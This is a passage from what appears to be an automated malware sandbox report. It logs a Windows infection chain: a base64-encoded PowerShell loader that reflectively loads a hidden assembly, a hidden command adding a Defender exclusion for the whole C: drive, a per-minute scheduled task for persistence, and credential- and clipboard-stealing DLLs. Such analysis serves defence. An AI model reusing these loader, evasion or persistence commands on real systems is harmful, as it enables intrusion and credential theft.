mluZyAkZW5jb2RlZEFycmF5DQoNCg0KJGZpbGVQYXRoID0gSm9pbi1QYXRoICRlbnY6VXNlclByb2ZpbGUgIlVuZExkbC5iYXQiDQokbGFzdExpbmUgPSBHZXQtQ29udGVudCAtUGF0aCAkZmlsZVBhdGggfCBTZWxlY3QtT2JqZWN0IC1MYXN0IDENCiRjbGVhbmVkTGluZSA9ICRsYXN0TGluZSAtcmVwbGFjZSAnXjo6Jw0KJHJldmVyc2UgPSBSZXZlcnNlU3RyaW5nICRjbGVhbmVkTGluZQ0KJGRlY29tcHJlc3NlZEJ5dGUgPSBEZWNvbXByZXNzQnl0ZXMgLWNvbXByZXNzZWREYXRhICRyZXZlcnNlDQoNCiRhc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW2J5dGVbXV0kZGVjb21wcmVzc2VkQnl0ZSkNCg0KJGFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChbYnl0ZVtdXSRkZWNvbXByZXNzZWRCeXRlKQ0KDQpJbnZva2UtRXhwcmVzc2lvbiAkZGVjb2RlZFN0cmluZw0KDQpDbG9zZS1Qcm9jZXNzIC1Qcm9jZXNzTmFtZSAiY21kIg==')) \| Out-File -FilePath 'C:\Users\user\UndLdl.ps1' -Encoding UTF8"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\user\UndLdl.ps1"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\dialer.exe "C:\Windows\system32\dialer.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe	Process created: C:\Windows\System32\OpenWith.exe "C:\Windows\system32\openwith.exe"	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process created: C:\Users\user\AppData\Roaming\D4C0.vmt.exe "C:\Users\user\AppData\Roaming\D4C0.vmt.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\'"
Source: C:\Users\user\AppData\Local\Temp\F324.exe	Process created: C:\Windows\SysWOW64\dialer.exe "C:\Windows\system32\dialer.exe"
Source: C:\Users\user\AppData\Local\Temp\F557.exe	Process created: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe "C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe"
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN Utsysc.exe /TR "C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe" /F
Source: C:\Windows\SysWOW64\dialer.exe	Process created: C:\Windows\System32\OpenWith.exe "C:\Windows\system32\openwith.exe"

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" -command "[system.text.encoding]::utf8.getstring([system.convert]::frombase64string('znvuy3rpb24grgvjb21wcmvzc0j5dgvzkcrjb21wcmvzc2vkrgf0yskgeyakbxmgpsbbsu8utwvtb3j5u3ryzwftxto6bmv3kchbu3lzdgvtlknvbnzlcnrdojpgcm9tqmfzzty0u3ryaw5nkcrjb21wcmvzc2vkrgf0yskpktsgjg1zllbvc2l0aw9uid0gmdsgjgrlzmxhdgvtdhjlyw0gpsbbsu8uq29tchjlc3npb24urgvmbgf0zvn0cmvhbv06om5ldygkbxmsiftjty5db21wcmvzc2lvbi5db21wcmvzc2lvbk1vzgvdojpezwnvbxbyzxnzktsgjgj1zmzlcia9iftiexrlw11dojpuzxconda5nik7icrtcya9iftjty5nzw1vcnltdhjlyw1dojpuzxcoktsgd2hpbgugkcr0cnvlksb7icrjb3vudca9icrkzwzsyxrlu3ryzwftlljlywqojgj1zmzlciwgmcwgjgj1zmzlci5mzw5ndggpoybpziaojgnvdw50ic1lcsawksb7igjyzwfrih0gjg1zlldyaxrlkcridwzmzxisidasicrjb3vudckgfsakzgvmbgf0zvn0cmvhbs5dbg9zzsgpoyakbxmuvg9bcnjhesgpih0ncg0kznvuy3rpb24gumv2zxjzzvn0cmluzygkaw5wdxrtdhjpbmcpihsnciagicaky2hhckfycmf5id0gjgluchv0u3ryaw5nllrvq2hhckfycmf5kckgicmgq29udmvydcbzdhjpbmcgdg8gy2hhcmfjdgvyigfycmf5dqogicagjhjldmvyc2vkqxjyyxkgpsaky2hhckfycmf5wy0xli4tkcrjagfyqxjyyxkutgvuz3rokv0gicmgumv2zxjzzsb0agugyxjyyxknciagicakcmv2zxjzzwrtdhjpbmcgpsatam9pbiakcmv2zxjzzwrbcnjhesagiybdb252zxj0ihrozsbyzxzlcnnlzcbhcnjhesbiywnrihrvigegc3ryaw5ndqogicagcmv0dxjuicryzxzlcnnlzfn0cmluzw0kfq0kdqpmdw5jdglvbibdbg9zzs1qcm9jzxnzihsnciagicbwyxjhbsgnciagicagicagw3n0cmluz10kuhjvy2vzc05hbwunciagicapdqonciagicakchjvy2vzcya9iedldc1qcm9jzxnzic1oyw1licrqcm9jzxnztmftzsatrxjyb3jby3rpb24gu2lszw50bhldb250aw51zq0kdqogicagawygkcrwcm9jzxnzic1uzsakbnvsbckgew0kicagicagicbtdg9wlvbyb2nlc3mglu5hbwugjfbyb2nlc3noyw1lic1gb3jjzq0kcx0ncn0ncg0kznvuy3rpb24gq29udmvydc1bc2npavrvu3ryaw5nkcrhc2npaufycmf5kxsncirvzmztzxrjbnrlz2vypteymzsncirkzwnvzgvku3ryaw5npsrodwxsow0kzm9yzwfjacgkyxnjawljbnrlz2vyigluicrhc2npaufycmf5kxskzgvjb2rlzfn0cmluzys9w2noyxjdkcrhc2npauludgvnzxitjg9mzlnldeludgvnzxipftsncnjldhvybiakzgvjb2rlzfn0cmluz307dqoncirlbmnvzgvkqxjyyxkgpsbakde1oswymjasmjm4ldizocwymjqsmjmyldiymswymzesmjq0lde2oswxotismjmzldizoswymzcsmjq0ldiwmywymzqsmji4ldizmywymzksmty5lde5niwymzmsmjqxldizncwymzasmji0lde2mywxntksmjmzldi0mcwymzesmjmxlde2nywxntksmjmzldi0mcwymzesmjmxlde2ncwxodipdqokzgvjb2rlzfn0cmluzya9ienvbnzlcnqtqxnjawlub1n0cmluzyakzw5jb2rlzefycmf5dqoncg0kjgzpbgvqyxroid0gsm9pbi1qyxroicrlbny6vxnlclbyb2zpbgugilvuzexkbc5iyxqidqokbgfzdexpbmugpsbhzxqtq29udgvudcatugf0acakzmlszvbhdgggfcbtzwxly3qtt2jqzwn0ic1myxn0idencirjbgvhbmvktgluzsa9icrsyxn0tgluzsatcmvwbgfjzsanxjo6jw0kjhjldmvyc2ugpsbszxzlcnnlu3ryaw5nicrjbgvhbmvktgluzq0kjgrly29tchjlc3nlzej5dgugpsbezwnvbxbyzxnzqnl0zxmglwnvbxbyzxnzzwreyxrhicryzxzlcnnldqoncirhc3nlbwjsesa9ifttexn0zw0uumvmbgvjdglvbi5bc3nlbwjsev06okxvywqow2j5dgvbxv0kzgvjb21wcmvzc2vkqnl0zskncg0kjgfzc2vtymx5id0gw1n5c3rlbs5szwzszwn0aw9ulkfzc2vtymx5xto6tg9hzchbynl0zvtdxsrkzwnvbxbyzxnzzwrcexrlkq0kdqpjbnzva2utrxhwcmvzc2lvbiakzgvjb2rlzfn0cmluzw0kdqpdbg9zzs1qcm9jzxnzic1qcm9jzxnztmftzsaiy21kig==')) \| out-file -filepath 'c:\users\user\undldl.ps1' -encoding utf8"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" -command "[system.text.encoding]::utf8.getstring([system.convert]::frombase64string('znvuy3rpb24grgvjb21wcmvzc0j5dgvzkcrjb21wcmvzc2vkrgf0yskgeyakbxmgpsbbsu8utwvtb3j5u3ryzwftxto6bmv3kchbu3lzdgvtlknvbnzlcnrdojpgcm9tqmfzzty0u3ryaw5nkcrjb21wcmvzc2vkrgf0yskpktsgjg1zllbvc2l0aw9uid0gmdsgjgrlzmxhdgvtdhjlyw0gpsbbsu8uq29tchjlc3npb24urgvmbgf0zvn0cmvhbv06om5ldygkbxmsiftjty5db21wcmvzc2lvbi5db21wcmvzc2lvbk1vzgvdojpezwnvbxbyzxnzktsgjgj1zmzlcia9iftiexrlw11dojpuzxconda5nik7icrtcya9iftjty5nzw1vcnltdhjlyw1dojpuzxcoktsgd2hpbgugkcr0cnvlksb7icrjb3vudca9icrkzwzsyxrlu3ryzwftlljlywqojgj1zmzlciwgmcwgjgj1zmzlci5mzw5ndggpoybpziaojgnvdw50ic1lcsawksb7igjyzwfrih0gjg1zlldyaxrlkcridwzmzxisidasicrjb3vudckgfsakzgvmbgf0zvn0cmvhbs5dbg9zzsgpoyakbxmuvg9bcnjhesgpih0ncg0kznvuy3rpb24gumv2zxjzzvn0cmluzygkaw5wdxrtdhjpbmcpihsnciagicaky2hhckfycmf5id0gjgluchv0u3ryaw5nllrvq2hhckfycmf5kckgicmgq29udmvydcbzdhjpbmcgdg8gy2hhcmfjdgvyigfycmf5dqogicagjhjldmvyc2vkqxjyyxkgpsaky2hhckfycmf5wy0xli4tkcrjagfyqxjyyxkutgvuz3rokv0gicmgumv2zxjzzsb0agugyxjyyxknciagicakcmv2zxjzzwrtdhjpbmcgpsatam9pbiakcmv2zxjzzwrbcnjhesagiybdb252zxj0ihrozsbyzxzlcnnlzcbhcnjhesbiywnrihrvigegc3ryaw5ndqogicagcmv0dxjuicryzxzlcnnlzfn0cmluzw0kfq0kdqpmdw5jdglvbibdbg9zzs1qcm9jzxnzihsnciagicbwyxjhbsgnciagicagicagw3n0cmluz10kuhjvy2vzc05hbwunciagicapdqonciagicakchjvy2vzcya9iedldc1qcm9jzxnzic1oyw1licrqcm9jzxnztmftzsatrxjyb3jby3rpb24gu2lszw50bhldb250aw51zq0kdqogicagawygkcrwcm9jzxnzic1uzsakbnvsbckgew0kicagicagicbtdg9wlvbyb2nlc3mglu5hbwugjfbyb2nlc3noyw1lic1gb3jjzq0kcx0ncn0ncg0kznvuy3rpb24gq29udmvydc1bc2npavrvu3ryaw5nkcrhc2npaufycmf5kxsncirvzmztzxrjbnrlz2vypteymzsncirkzwnvzgvku3ryaw5npsrodwxsow0kzm9yzwfjacgkyxnjawljbnrlz2vyigluicrhc2npaufycmf5kxskzgvjb2rlzfn0cmluzys9w2noyxjdkcrhc2npauludgvnzxitjg9mzlnldeludgvnzxipftsncnjldhvybiakzgvjb2rlzfn0cmluz307dqoncirlbmnvzgvkqxjyyxkgpsbakde1oswymjasmjm4ldizocwymjqsmjmyldiymswymzesmjq0lde2oswxotismjmzldizoswymzcsmjq0ldiwmywymzqsmji4ldizmywymzksmty5lde5niwymzmsmjqxldizncwymzasmji0lde2mywxntksmjmzldi0mcwymzesmjmxlde2nywxntksmjmzldi0mcwymzesmjmxlde2ncwxodipdqokzgvjb2rlzfn0cmluzya9ienvbnzlcnqtqxnjawlub1n0cmluzyakzw5jb2rlzefycmf5dqoncg0kjgzpbgvqyxroid0gsm9pbi1qyxroicrlbny6vxnlclbyb2zpbgugilvuzexkbc5iyxqidqokbgfzdexpbmugpsbhzxqtq29udgvudcatugf0acakzmlszvbhdgggfcbtzwxly3qtt2jqzwn0ic1myxn0idencirjbgvhbmvktgluzsa9icrsyxn0tgluzsatcmvwbgfjzsanxjo6jw0kjhjldmvyc2ugpsbszxzlcnnlu3ryaw5nicrjbgvhbmvktgluzq0kjgrly29tchjlc3nlzej5dgugpsbezwnvbxbyzxnzqnl0zxmglwnvbxbyzxnzzwreyxrhicryzxzlcnnldqoncirhc3nlbwjsesa9ifttexn0zw0uumvmbgvjdglvbi5bc3nlbwjsev06okxvywqow2j5dgvbxv0kzgvjb21wcmvzc2vkqnl0zskncg0kjgfzc2vtymx5id0gw1n5c3rlbs5szwzszwn0aw9ulkfzc2vtymx5xto6tg9hzchbynl0zvtdxsrkzwnvbxbyzxnzzwrcexrlkq0kdqpjbnzva2utrxhwcmvzc2lvbiakzgvjb2rlzfn0cmluzw0kdqpdbg9zzs1qcm9jzxnzic1qcm9jzxnztmftzsaiy21kig==')) \| out-file -filepath 'c:\users\user\undldl.ps1' -encoding utf8"			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\F557.exe

Code function: 24_2_00581816 cpuid

24_2_00581816

Source: C:\Windows\System32\OpenWith.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Queries volume information: C:\Users\user\AppData\Roaming\ab10c56eed80d1\cred64.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Queries volume information: C:\Users\user\AppData\Roaming\ab10c56eed80d1\cred64.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Queries volume information: C:\Users\user\AppData\Roaming\ab10c56eed80d1\clip64.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Queries volume information: C:\Users\user\AppData\Roaming\ab10c56eed80d1\clip64.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation
